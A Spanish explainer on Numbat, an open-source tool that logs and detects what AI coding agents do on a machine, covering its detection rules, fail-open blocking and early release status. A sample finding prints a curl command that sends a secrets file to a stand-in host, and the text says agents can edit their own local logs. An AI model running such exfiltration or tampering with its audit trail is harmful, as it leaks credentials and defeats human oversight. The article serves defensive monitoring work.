Numbat: qué hacen realmente tus agentes de IA

Qué es Numbat

Numbat permite saber qué hizo un agente de IA en una máquina que usted administra. Lee las devoluciones de llamada de los hooks y los archivos de sesión que los agentes de programación ya generan, los normaliza en un único formato de eventos y los compara con reglas que se activan ante comportamientos como leer una clave privada de SSH o enviar una descarga directamente a un shell. Perplexity lo publicó como software de código abierto bajo Apache 2.0. La primera versión etiquetada se publicó el 29 de julio de 2026.

Todo lo que aparece a continuación procede del repositorio del proyecto y de su propia documentación, consultados el 2 de agosto de 2026. Cuando Perplexity hace una afirmación, este artículo lo indica. Esto no es un tutorial de instalación, porque el repositorio tiene sólo unos días y sus comandos cambiarán.

El problema: nadie registra lo que hizo el agente

Un agente de programación en su VPS ejecuta comandos de shell, lee archivos, escribe archivos y abre conexiones de red, todo con el usuario que se le asignó. El historial del shell no registra nada de eso porque el agente no escribe en su shell. sshd registra su inicio de sesión, pero no registra ninguna acción que el modelo decida realizar después. /var/log/auth.log permanece en silencio a menos que algo acceda a sudo. El agente mantiene su propia transcripción, pero ese archivo se encuentra en el directorio de sesión del agente, su formato cambia entre versiones y el propio proceso del agente puede escribir en él.

Por tanto, cuando alguien pregunta si el agente leyó .env.production el martes pasado, la respuesta honesta en la mayoría de los servidores es que no se puede saber. Esta falta de visibilidad es la razón por la que existe este proyecto.

Qué afirma Perplexity que hace Numbat

El README comienza describiendo la herramienta como «visibilidad del endpoint sobre la actividad de los agentes de IA, con detección local, bloqueo opcional antes de la acción y reconstrucción forense». Aquí, endpoint significa la máquina donde se ejecuta el agente, no un dispositivo de red que observa desde fuera. Son capacidades independientes y tienen distinta importancia.

La detección se ejecuta en el dispositivo. Las reglas se escriben en CEL (common expression language) y se evalúan localmente. Además, se pueden definir reglas de secuencias de varios pasos y usar reglas propias en YAML. No es necesario que nada salga de la máquina para que se active una regla.

El bloqueo es opcional y limitado. Sólo funciona mediante hooks síncronos previos a la acción y con los agentes que los exponen. Está desactivado hasta que se habilita.

La reconstrucción se realiza después de los hechos. numbat scan analiza los artefactos de sesión que el agente ya escribió en el disco, por lo que puede revisar actividad anterior a la instalación de la herramienta. El proyecto delimita esta afirmación con cuidado: «La reconstrucción de datos en reposo no es una adquisición de disco ni de memoria y no puede recuperar actividad que el agente no haya persistido».

La salida usa NDJSON versionado (JSON delimitado por saltos de línea) para eventos, hallazgos, decisiones de aplicación, indicadores y resúmenes de análisis. La versión del esquema es 0.2.0 en v0.1.2. Los registros se escriben en stdout o en un archivo local y, de forma opcional, se envían mediante HTTP a un collector administrado por usted. Se distribuye como un único binario estático de Go compilado sin cgo, para macOS, Linux y Windows en amd64 y arm64. Por tanto, en un VPS Linux sólo necesita un archivo y no tiene que instalar antes ningún runtime.

¿Qué agentes puede ver realmente Numbat?

La matriz de cobertura de docs/agent-coverage.md es la lista autorizada y no es uniforme. El proyecto lo indica claramente en lugar de ocultarlo. Claude Code, Codex, Gemini CLI, Cursor y GitHub Copilot CLI admiten tanto el análisis de artefactos como la captura en vivo mediante un hook previo a la acción. OpenClaw obtiene un plugin nativo a partir de la versión 2026.7.1. Una larga lista de entradas aparece como aplazada. Esto significa que existe una ruta de hook en vivo, pero no un analizador de artefactos. A menudo se debe a que ese agente almacena su historial en SQLite con un registro write-ahead log que no es seguro leer mientras el agente está en ejecución. OpenCode y Cline pertenecían a ese grupo cuando se consultó la matriz el 2 de agosto de 2026.

Compruebe la fila de su agente antes de planificar cualquier cosa con esta herramienta, porque «compatible» significa algo distinto en casi todas las filas.

Qué aspecto tiene una detección

Las reglas tienen identificadores que indican para qué sirven. secrets.read_private_key cubre una clave SSH, credenciales de AWS, una configuración de kube o un inicio de sesión en un registro de paquetes. exec.download_pipe_shell se activa cuando la salida de curl o wget se canaliza a un intérprete. privilege.elevated_shell detecta una solicitud de un shell interactivo de root mediante sudo, doas, su o pkexec. impact.cryptomining_launch coincide con binarios y nombres de imagen de mineros conocidos.

Las reglas de secuencia relacionan eventos dentro de una misma sesión. chain.secret_read_then_egress requiere la lectura de un archivo secreto seguida de un comando que envía datos al exterior. El README publica el hallazgo siguiente a partir de una reproducción controlada de dos callbacks de preacción de Claude Code, no de un incidente real. Aquí se han conservado sólo los campos relevantes:

{
  "record_type": "finding",
  "rule_id": "chain.secret_read_then_egress",
  "rule_version": "1.4",
  "severity": "high",
  "confidence": "medium",
  "title": "Secret-file access followed by data-bearing egress",
  "observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
  "source_agent": "claude-code",
  "source_type": "hook",
  "tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}

Observe "confidence": "medium" dentro del registro y lo que indica el proyecto sobre toda esta clase de salida: "Los hallazgos son coincidencias de reglas, no pruebas de compromiso." Un script de despliegue que lee una clave y después carga un artefacto de compilación coincidirá con esa misma regla de secuencia. La coincidencia es correcta, pero la alarma es errónea. Ese es el estado normal de cualquier herramienta de detección que haya ejecutado.

El bloqueo está desactivado de forma predeterminada y, ante un fallo, permite la operación

Todas las reglas que distribuye Numbat sólo monitorizan. Convertir una regla en una regla de bloqueo requiere trabajo deliberado: copie el YAML completo de la regla en su propio directorio, conserve el mismo id, añada enforce: true, incremente la versión y, después, valide e instale esa política.

numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
  --rules-dir ./numbat-policy --enforce

Ahora viene la parte que determina cuánto debe confiar en ella. El deny de Numbat se devuelve al agente, y es el agente quien realmente rechaza la llamada a la herramienta. La guía de aplicación es clara sobre lo que ocurre cuando Numbat tiene un problema: "Las cargas con formato incorrecto, los errores de evaluación relevantes, los panics y los errores de salida suprimen el deny de numbat." La entrada del hook está limitada a 4 MiB, y la entrada que supera ese tamaño sigue el mismo flujo.

La guía también es clara sobre el límite de un deny que sí llega al agente: "Fail-open significa que numbat retiene su respuesta deny. No garantiza que la herramienta se ejecute: el host todavía puede solicitar confirmación, rechazar la operación, agotar el tiempo de espera o aplicar otro hook o una política diferente."

Por tanto, la aplicación de políticas aquí es una salvaguarda, no una frontera de seguridad. Si el proceso se bloquea, Numbat no bloquea la acción, porque un monitor que congela el agente cada vez que tiene un problema se desinstala en una semana. La contrapartida es razonable. No construya un modelo de seguridad que suponga que el deny siempre llega.

Dónde encaja Numbat junto a lo que ya hace

Numbat se ejecuta en el endpoint, dentro del propio árbol de procesos del agente, y escribe en ~/.numbat/records.ndjson de forma predeterminada. Un agente que se ejecuta con su usuario puede leer ese archivo. También puede modificarlo. El registro de auditoría sólo vale tanto como el aislamiento que lo protege. Por eso, todos los controles que ya tiene deben estar delante de este, no detrás.

Asignar al agente de programación una VM desechable limita lo que puede alcanzar una ejecución defectuosa. Usar un usuario con privilegios mínimos en el VPS impide que el agente acceda a archivos que no necesita abrir. Mantener las credenciales fuera del contexto del agente hace que una coincidencia secrets.read_private_key sea lo bastante infrecuente como para que merezca la pena revisarla cuando se produzca. Y el sandbox que configuró para Claude Code en un VPS sigue siendo el mecanismo que aplica el aislamiento.

Lo que añade Numbat es el registro. Por eso, envíe el registro a un lugar al que el agente no pueda acceder. numbat ship y el receptor HTTP existen para eso. Una copia del flujo en una segunda máquina marca la diferencia entre un archivo de registro y una evidencia. El modelo de eventos también incluye campos de MCP (protocolo de contexto del modelo). Por tanto, las llamadas a herramientas que salen por un servidor MCP que aloja en un VPS llegan al mismo flujo que los comandos de shell locales. Esto es importante porque esa ruta es invisible para cualquier sistema que sólo supervise bash.

Pruébelo primero en modo de solo lectura

Instale una versión fijada. Se requiere Go 1.26.5 o posterior para go install. La página de releases incluye binarios precompilados con sumas de comprobación SHA-256 si prefiere no compilar desde el código fuente.

go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scan

numbat agents detecta los agentes instalados en el equipo. numbat scan analiza los artefactos de sesión que ya están en el disco e imprime registros. El README indica que estos comandos «no instalan hooks ni cambian la configuración del agente» y que numbat «nunca ejecuta agentes ni comandos encontrados en los artefactos, y sólo realiza solicitudes salientes a los destinos HTTP configurados». El análisis es de solo lectura y redacta los secretos. La salida normal de los registros nunca incluye una transcripción sin filtrar completa.

La captura en directo es el paso siguiente y sí cambia la configuración del agente:

numbat hook install --agent codex --emit all
numbat hook status --agent codex

--emit all escribe los eventos, hallazgos, indicadores y decisiones de aplicación correspondientes en ~/.numbat/records.ndjson. El proyecto incluye dos advertencias importantes. Es posible que los hooks deban estar autorizados dentro del agente antes de ejecutarse. Esa autorización debe revisarse de nuevo después de cambiar flags como --enforce. Además, hook status «verifica la configuración, no la ejecución ni la entrega». Por tanto, una línea de estado correcta no demuestra que los registros estén llegando a ningún destino.

Por qué un repositorio tan nuevo no es una dependencia

Las versiones públicas son v0.1.1, del 29 de julio de 2026, y v0.1.2, del 1 de agosto de 2026. El repositorio tenía 597 estrellas cuando se escribió esta publicación, el 2 de agosto de 2026. Un crecimiento tan rápido refleja la audiencia de Perplexity, no la solidez del código. Una estrella significa que alguien guardó la página para consultarla más adelante.

El número de versión indica claramente el estado del proyecto. Las notas de v0.1.2 contienen principalmente correcciones de redacción de credenciales, además de trabajos de normalización de paquetes de casos y telemetría. Los errores de redacción son el tipo de defecto esperado en las primeras versiones de una herramienta cuya función es leer de forma segura las transcripciones de otros programas. Habrá más errores porque las entradas proceden de una docena de agentes, y cada uno cambia su formato según su propio calendario.

De aquí se derivan dos reglas prácticas. Fije la etiqueta, nunca @latest, en todo lo que conserve. Y trátelo como un instrumento que está evaluando, no como un control del que depende, al menos hasta que el esquema de registros deje de cambiar.

FAQ

¿Numbat bloquea los comandos peligrosos de los agentes de IA?

Sólo si lo activa y únicamente con el mejor esfuerzo posible. Todas las reglas que distribuye Numbat funcionan en modo de supervisión. Para bloquear, copie el YAML de la regla en su propio directorio, conserve su id, añada enforce: true, aumente la versión e instale el hook con --enforce. Incluso entonces, la denegación se envía como una respuesta al agente, y es el agente quien rechaza la llamada. El proyecto documenta un comportamiento de apertura ante fallos: las cargas malformadas, los errores de evaluación, los panics y los fallos de salida suprimen la denegación. Úselo como una medida de protección, no como su único límite de seguridad.

¿Qué agentes de IA admite Numbat?

La cobertura varía según el agente y aparece en docs/agent-coverage.md del repositorio. Claude Code, Codex, Gemini CLI, Cursor y GitHub Copilot CLI tenían tanto análisis de artefactos como captura en tiempo real cuando se consultó esa página el 2 de agosto de 2026. OpenClaw tiene un plugin nativo desde la versión 2026.7.1. Muchos otros agentes aparecen con una ruta de hook en tiempo real, pero todavía sin un analizador de artefactos. Esto suele deberse a que su historial de sesión se almacena en una base de datos SQLite que no es segura de leer mientras el agente está ejecutándose. Consulte la fila correspondiente a su agente, porque allí la palabra "admitido" cubre varios niveles distintos.

¿Puede el agente manipular los registros de Numbat?

Sí, si se ejecuta con el mismo usuario. De forma predeterminada, los registros se guardan en ~/.numbat/records.ndjson en la misma máquina que el agente. Por tanto, cualquier proceso con permisos de escritura en esa ruta puede modificarlos o eliminarlos. Envíe el flujo a un collector al que el agente no pueda acceder, mediante numbat ship o el sink HTTP, y conserve el archivo local como copia de conveniencia. Por eso esta herramienta complementa el aislamiento en lugar de sustituirlo. Un agente confinado en una VM desechable y ejecutado con un usuario con privilegios mínimos tiene mucho menos alcance sobre su propia traza de auditoría.

¿Está Numbat preparado para un servidor de producción?

No como control del que dependa. La primera versión pública fue v0.1.1, publicada el 29 de julio de 2026, y v0.1.2 le siguió el 1 de agosto de 2026. Por tanto, tanto los flags como el esquema de registros siguen cambiando. Ejecutar numbat agents y numbat scan en un equipo es una operación de sólo lectura y de bajo riesgo. Le mostrará qué han dejado sus agentes en el disco. Instalar hooks de enforcement en un servidor importante es una decisión diferente. Requiere fijar un tag y definir qué ocurrirá si el hook falla.